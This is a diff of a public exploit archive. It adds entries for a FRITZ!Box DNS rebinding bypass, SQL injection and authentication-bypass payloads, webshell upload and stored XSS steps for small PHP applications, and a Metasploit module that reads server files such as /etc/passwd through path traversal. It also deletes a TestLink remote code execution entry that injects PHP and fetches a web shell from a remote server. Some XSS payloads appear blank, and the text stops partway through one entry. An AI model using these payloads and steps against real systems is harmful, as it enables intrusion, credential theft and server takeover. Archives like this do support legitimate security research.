diff --git a/exploits/hardware/remote/49293.txt b/exploits/hardware/remote/49293.txt
new file mode 100644
index 000000000..b57f9a2ac
--- /dev/null
+++ b/exploits/hardware/remote/49293.txt
@@ -0,0 +1,191 @@
+# Exploit Title: FRITZ!Box 7.20 - DNS Rebinding Protection Bypass
+# Date: 2020-06-23
+# Exploit Author: RedTeam Pentesting GmbH
+# Vendor Homepage: https://en.avm.de/
+# Version: 7.20
+# CVE: 2020-26887
+
+Advisory: FRITZ!Box DNS Rebinding Protection Bypass
+
+RedTeam Pentesting discovered a vulnerability in FRITZ!Box router
+devices which allows to resolve DNS answers that point to IP addresses
+in the private local network, despite the DNS rebinding protection
+mechanism.
+
+
+Details
+=======
+
+Product: FRITZ!Box 7490 and potentially others
+Affected Versions: 7.20 and below
+Fixed Versions: >= 7.21
+Vulnerability Type: Bypass
+Security Risk: low
+Vendor URL: https://en.avm.de/
+Vendor Status: fixed version released
+Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-003
+Advisory Status: published
+CVE: 2020-26887
+CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26887
+
+
+Introduction
+============
+
+"For security reasons, the FRITZ!Box suppresses DNS responses that refer
+to IP addresses in its own home network. This is a security function of
+the FRITZ!Box to protect against what are known as DNS rebinding
+attacks."
+
+(from the vendor's homepage)
+
+
+More Details
+============
+
+FRITZ!Box router devices employ a protection mechanism against DNS
+rebinding attacks. If a DNS answer points to an IP address in the
+private network range of the router, the answer is suppressed. Suppose
+the FRITZ!Box routers DHCP server is in its default configuration and
+serves the private IP range of 192.168.178.1/24. If a DNS request is
+made by a connected device, which resolves to an IPv4 address in the
+configured private IP range (for example 192.168.178.20) an empty answer
+is returned. However, if instead the DNS answer contains an AAAA-record
+with the same private IP address in its IPv6 representation
+(::ffff:192.168.178.20) it is returned successfully. Furthermore, DNS
+requests which resolve to the loopback address 127.0.0.1 or the special
+address 0.0.0.0 can be retrieved, too.
+
+
+Proof of Concept
+================
+
+Supposing the following resource records (RR) are configured for different
+subdomains of example.com:
+
+------------------------------------------------------------------------
+private.example.com 1 IN A 192.168.178.20
+local.example.com 1 IN A 127.0.0.1
+privateipv6.example.com. 1 IN AAAA ::ffff:192.168.178.20
+------------------------------------------------------------------------
+
+A DNS request to the FRITZ!Box router for the subdomain
+private.example.com returns an empty answer, as expected:
+
+------------------------------------------------------------------------
+$ dig private.example.com @192.168.178.1
+; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> private.example.com @192.168.178.1
+;; global options: +cmd
+;; Got answer:
+;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58984
+;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
+
+;; QUESTION SECTION:
+;private.example.com. IN A
+------------------------------------------------------------------------
+
+DNS requests for the subdomains privateipv6.example.com and
+local.example.com return the configured resource records successfully,
+effectively bypassing the DNS rebinding protection:
+
+------------------------------------------------------------------------
+$ dig privateipv6.example.com @192.168.178.1 AAAA
+; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> @192.168.178.1 privateipv6.example.com AAAA
+; (1 server found)
+;; global options: +cmd
+;; Got answer:
+;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6510
+;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
+
+;; OPT PSEUDOSECTION:
+; EDNS: version: 0, flags:; udp: 4096
+;; QUESTION SECTION:
+;privateipv6.example.com. IN AAAA
+
+;; ANSWER SECTION:
+privateipv6.example.com. 1 IN AAAA ::ffff:192.168.178.20
+
+
+$ dig local.example.com @192.168.178.1
+; <<>> DiG 9.11.5-P4-5.1+deb10u1-Debian <<>> local.example.com @192.168.178.1
+;; global options: +cmd
+;; Got answer:
+;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28549
+;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
+
+;; OPT PSEUDOSECTION:
+; EDNS: version: 0, flags:; udp: 4096
+;; QUESTION SECTION:
+;local.example.com. IN A
+
+;; ANSWER SECTION:
+local.example.com. 1 IN A 127.0.0.1
+------------------------------------------------------------------------
+
+
+Workaround
+==========
+
+None.
+
+
+Fix
+===
+
+The problem is corrected in FRITZ!OS 7.21.
+
+
+Security Risk
+=============
+
+As shown, the DNS rebinding protection of FRITZ!Box routers can be
+bypassed allowing for DNS rebinding attacks against connected devices.
+This type of attack however is only possible if vulnerable services are
+present in the local network, which are reachable over HTTP without
+authentication. The web interface of FRITZ!Box routers for example is
+not vulnerable to this type of attack, since the HTTP Host header is
+checked for known domains. For this reason the risk is estimated to be
+low.
+
+
+Timeline
+========
+
+2020-06-23 Vulnerability identified
+2020-07-08 Vendor notified
+2020-07-20 Vendor provided fixed version to RedTeam Pentesting
+2020-07-23 Vendor notified of another problematic IP
+2020-08-06 Vendor provided fixed version to RedTeam Pentesting
+2020-10-06 Vendor starts distribution of fixed version for selected devices
+2020-10-19 Advisory released
+
+
+RedTeam Pentesting GmbH
+=======================
+
+RedTeam Pentesting offers individual penetration tests performed by a
+team of specialised IT-security experts. Hereby, security weaknesses in
+company networks or products are uncovered and can be fixed immediately.
+
+As there are only few experts in this field, RedTeam Pentesting wants to
+share its knowledge and enhance the public knowledge with research in
+security-related areas. The results are made available as public
+security advisories.
+
+More information about RedTeam Pentesting can be found at:
+https://www.redteam-pentesting.de/
+
+
+Working at RedTeam Pentesting
+=============================
+
+RedTeam Pentesting is looking for penetration testers to join our team
+in Aachen, Germany. If you are interested please visit:
+https://www.redteam-pentesting.de/jobs/
+
+--
+RedTeam Pentesting GmbH Tel.: +49 241 510081-0
+Dennewartstr. 25-27 Fax : +49 241 510081-99
+52068 Aachen https://www.redteam-pentesting.de
+Germany Registergericht: Aachen HRB 14004
+Geschäftsführer: Patrick Hof, Jens Liebchen
\ No newline at end of file
diff --git a/exploits/linux/remote/44349.md b/exploits/linux/remote/44349.md
deleted file mode 100644
index 5dbfe5a85..000000000
--- a/exploits/linux/remote/44349.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# Title: TestLink Open Source Test Management(<= 1.9.16) Remote Code Execution By Manish (error1046)
-Vendor Home Page: http://testlink.org
-
-Disovered At: Indishell Lab
-
-CVE ID: CVE-2018-7466
-
-///////////
-//OverView
-///////////
-
-Testlink (Version Below 1.9.17) is vulnerable to Remote Code Execution.
-Vulnerable code is in file "install/installNewDB.php". Testlink allows user to re-install it and when user visits "/install/" directory and reachs to "Database detail" page i.e "install/installNewDB.php", user can specifiy PHP code in "TestLink DB login" field.
-After successful installation, PHP code will get save in config file.
-
-
-Exploitation
-
-During installation process, script first try to connect MySQL "root" user account (supplied by user during installation phase), if script is able to connect to MySQL server (locally or remotly hosted), process of CMS installation goes further.
-
-Script save MySQL server host, username and password in config file.
-
-Here attacker can take advantage of this process to write PHP code in config file.
-
-To do this, attacker need to setup MySQL server on a machine and MySQL server must be configure to accept connection from remote IP (which can be done easily by changing parameter in my.cnf file).
-
-To configure MySQL server open to remote connection, just open my.cnf file and do below mentioned steps
-
- -> comment out skip-networking as well as bind-address (if any present in my.cnf )i.e change line
-
- skip-networking
- to
- # skip-networking
-
- and
-
- bind-address = some_ip
- to
- #bind-address = some_ip
-
- save the my.cnf file. reload/restart MySQL server and your mysql server will accept remote connection from any remote IP
-
- Now, you need to configure MySQL root user in such way so that when remote script try to connect to MySQL server root user, it allows remote script.
-
- When attacker provide credentials of a Remote MySQL server which is attacker controlled and listening for remote connection, attacker just need to specify the remote MySQL server IP, root users username, password and need to specify below mentioned PHP code in "TestLink DB login" field (or in HTTP POST parameter tl_loginname).
-
- "box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//"
-
- Once script establish successful connection to root user account of remote MySQL server, it will create MySQL user with name
-"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//" and will write this username name in config_db.inc.php file. After that attacker just need to need to access the config file config_db.inc.php with following GET hethod HTTP parameters
-
- http://testlink/config_db.inc.php?1=ica.php&2=http://remote_server/php_web_shell.txt
-
-It will dump PHP web shell in base directory with name ica.php.
-
-
-
---==[[ Greetz To ]]==--
-
- Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
- Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
- Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256
- Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
-
---==[[Love to]]==--
-
- My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,Gujjar PCP
- Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
\ No newline at end of file
diff --git a/exploits/php/webapps/49284.txt b/exploits/php/webapps/49284.txt
new file mode 100644
index 000000000..2ffa9620d
--- /dev/null
+++ b/exploits/php/webapps/49284.txt
@@ -0,0 +1,17 @@
+# Exploit Title: Point of Sale System 1.0 - Authentication Bypass
+# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
+# Date: 2020-12-17
+# Google Dork: N/A
+# Vendor Homepage: https://www.sourcecodester.com/php/9620/point-sale-system-pos.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=9620&title=Point+of+Sale+System+%28POS%29+using+PHP+with+Source+Code
+# Affected Version: Version 1
+# Patched Version: Unpatched
+# Category: Web Application
+# Tested on: Parrot OS
+# Description: Easy authentication bypass vulnerability on the application allows an attacker to log in as Administrator.
+
+Step 1: On the login page, simply use { ' or 0=0 # } as username
+
+Step 2: On the login page, use same query{ ' or 0=0 # } as password
+
+All set you should be logged in as Administrator.
\ No newline at end of file
diff --git a/exploits/php/webapps/49285.txt b/exploits/php/webapps/49285.txt
new file mode 100644
index 000000000..584be69f9
--- /dev/null
+++ b/exploits/php/webapps/49285.txt
@@ -0,0 +1,19 @@
+# Exploit Title: Alumni Management System 1.0 - Unrestricted File Upload To RCE
+# Exploit Author: Aakash Madaan
+# Date: 2020-12-17
+# Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=14524&title=Alumni+Management+System+using+PHP%2FMySQL+with+Source+Code
+# Affected Version: Version 1
+# Tested on: Parrot OS
+
+Step 1. Login to the application with admin credentials
+
+Step 2. Click on "System Settings" page.
+
+Step 3. At the image upload field, browse and select any php webshell.
+Click on upload to upload the php webshell.
+
+Step 4. Visit "http://localhost/admin/assets/uploads/" and select your
+upload phpwebshell.
+
+Step 5. You should have a remote code execution.
\ No newline at end of file
diff --git a/exploits/php/webapps/49286.txt b/exploits/php/webapps/49286.txt
new file mode 100644
index 000000000..e7b97becb
--- /dev/null
+++ b/exploits/php/webapps/49286.txt
@@ -0,0 +1,19 @@
+# Exploit Title: Alumni Management System 1.0 - "Course Form" Stored XSS
+# Exploit Author: Aakash Madaan
+# Date: 2020-12-10
+# Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=14524&title=Alumni+Management+System+using+PHP%2FMySQL+with+Source+Code
+# Affected Version: Version 1
+# Tested on: Parrot OS
+
+
+Step 1. Login to the application with admin credentials
+
+Step 2. Click on the "Course List" page.
+
+Step 3. In the "Course Form" field, use XSS payload
+"" as the name of new course and click on
+save.
+
+Step 4. This should trigger the XSS payload and anytime you click on the
+"Course List" page, your stored XSS payload will be triggered.
\ No newline at end of file
diff --git a/exploits/php/webapps/49287.txt b/exploits/php/webapps/49287.txt
new file mode 100644
index 000000000..7670d6c7c
--- /dev/null
+++ b/exploits/php/webapps/49287.txt
@@ -0,0 +1,42 @@
+# Exploit Title: Alumni Management System 1.0 - 'id' SQL Injection
+# Exploit Author: Aakash Madaan
+# Date: 2020-12-17
+# Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=14524&title=Alumni+Management+System+using+PHP%2FMySQL+with+Source+Code
+# Affected Version: Version 1
+# Tested on: Parrot OS
+
+Step 1. Login to the application with admin credentials
+
+Step 2. Click on "Events" page.
+
+Step 3. Choose any event and select "view" or "edit". The url should be "
+http://localhost/index.php?page=view_event&id=2" or "
+http://localhost/admin/index.php?page=manage_event&id=1"
+
+Step 4. Capture the request to the "view" or "edit" event page in burpsuite.
+
+Step 5. Save the captured request and run sqlmap on it using "sqlmap -r
+request --time-sec=5 --dbs
+
+---
+Parameter: id (GET)
+ Type: boolean-based blind
+ Title: Boolean-based blind - Parameter replace (original value)
+ Payload: page=edit_student&id=(SELECT (CASE WHEN (6191=6191) THEN 3
+ELSE (SELECT 5620 UNION SELECT 3605) END))
+
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: page=edit_student&id=3 AND (SELECT 7847 FROM
+(SELECT(SLEEP(5)))LQiE)
+
+ Type: UNION query
+ Title: Generic UNION query (NULL) - 9 columns
+ Payload: page=edit_student&id=-4840 UNION ALL SELECT
+NULL,CONCAT(0x717a7a7171,0x7152494c444964626e63466c66734573495771697a566862414e6c6f786e6d54566c6549484f6967,0x71767a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
+-
+---
+
+Step 6. Sqlmap should inject the web-app successfully which leads to
+information disclosure
\ No newline at end of file
diff --git a/exploits/php/webapps/49288.rb b/exploits/php/webapps/49288.rb
new file mode 100755
index 000000000..4e0b49df5
--- /dev/null
+++ b/exploits/php/webapps/49288.rb
@@ -0,0 +1,64 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::HTTP::Wordpress
+ include Msf::Auxiliary::Scanner
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'WordPress Duplicator File Read Vulnerability',
+ 'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin 'Duplicator' plugin version 1.3.24-1.3.26, allowing arbitrary file read with the web server privileges. This vulnerability was being actively exploited when it was discovered.},
+ 'References' =>
+ [
+ ['CVE', '2020-11738'],
+ ['WPVDB', '10078'],
+ ['URL', 'https://snapcreek.com/duplicator/docs/changelog']
+ ],
+ 'Author' =>
+ [
+ 'Ramuel Gall', # Vulnerability discovery
+ 'Hoa Nguyen - SunCSR Team' # Metasploit module
+ ],
+ 'DisclosureDate' => 'Feb 19 2020',
+ 'License' => MSF_LICENSE
+ ))
+ register_options(
+ [
+ OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
+ OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])
+ ])
+ end
+ def check
+ check_plugin_version_from_readme('duplicator_download','1.3.27', '1.3.24')
+ end
+ def run_host(ip)
+ traversal = '../' * datastore['DEPTH']
+ filename = datastore['FILEPATH']
+ filename = filename[1, filename.length] if filename =~ /^\//
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path,'wp-admin', 'admin-ajax.php'),
+ 'vars_get' =>
+ {
+ 'action' => 'duplicator_download',
+ 'file' => "#{traversal}#{filename}"
+ }
+ })
+ fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
+ fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
+ print_status('Downloading file...')
+ print_line("\n#{res.body}\n")
+ fname = datastore['FILEPATH']
+ path = store_loot(
+ 'duplicator.traversal',
+ 'text/plain',
+ ip,
+ res.body,
+ fname
+ )
+ print_good("File saved in: #{path}")
+ end
+ end
\ No newline at end of file
diff --git a/exploits/php/webapps/49290.txt b/exploits/php/webapps/49290.txt
new file mode 100644
index 000000000..ac103321f
--- /dev/null
+++ b/exploits/php/webapps/49290.txt
@@ -0,0 +1,18 @@
+# Exploit Title: Smart Hospital 3.1 - "Add Patient" Stored XSS
+# Exploit Author: Kislay Kumar
+# Date: 2020-12-18
+# Vendor Homepage: https://smart-hospital.in/index.html
+# Software Link: https://codecanyon.net/item/smart-hospital-hospital-management-system/23205038
+# Affected Version: Version 3.1
+# Tested on: Kali Linux
+
+Step 1. Login to the application with Super Admin credentials
+
+Step 2. Click on "OPD-Out Patient" and then click on "Add Patient" then
+select "Add Patient" Again.
+
+Step 3. Insert payload - ">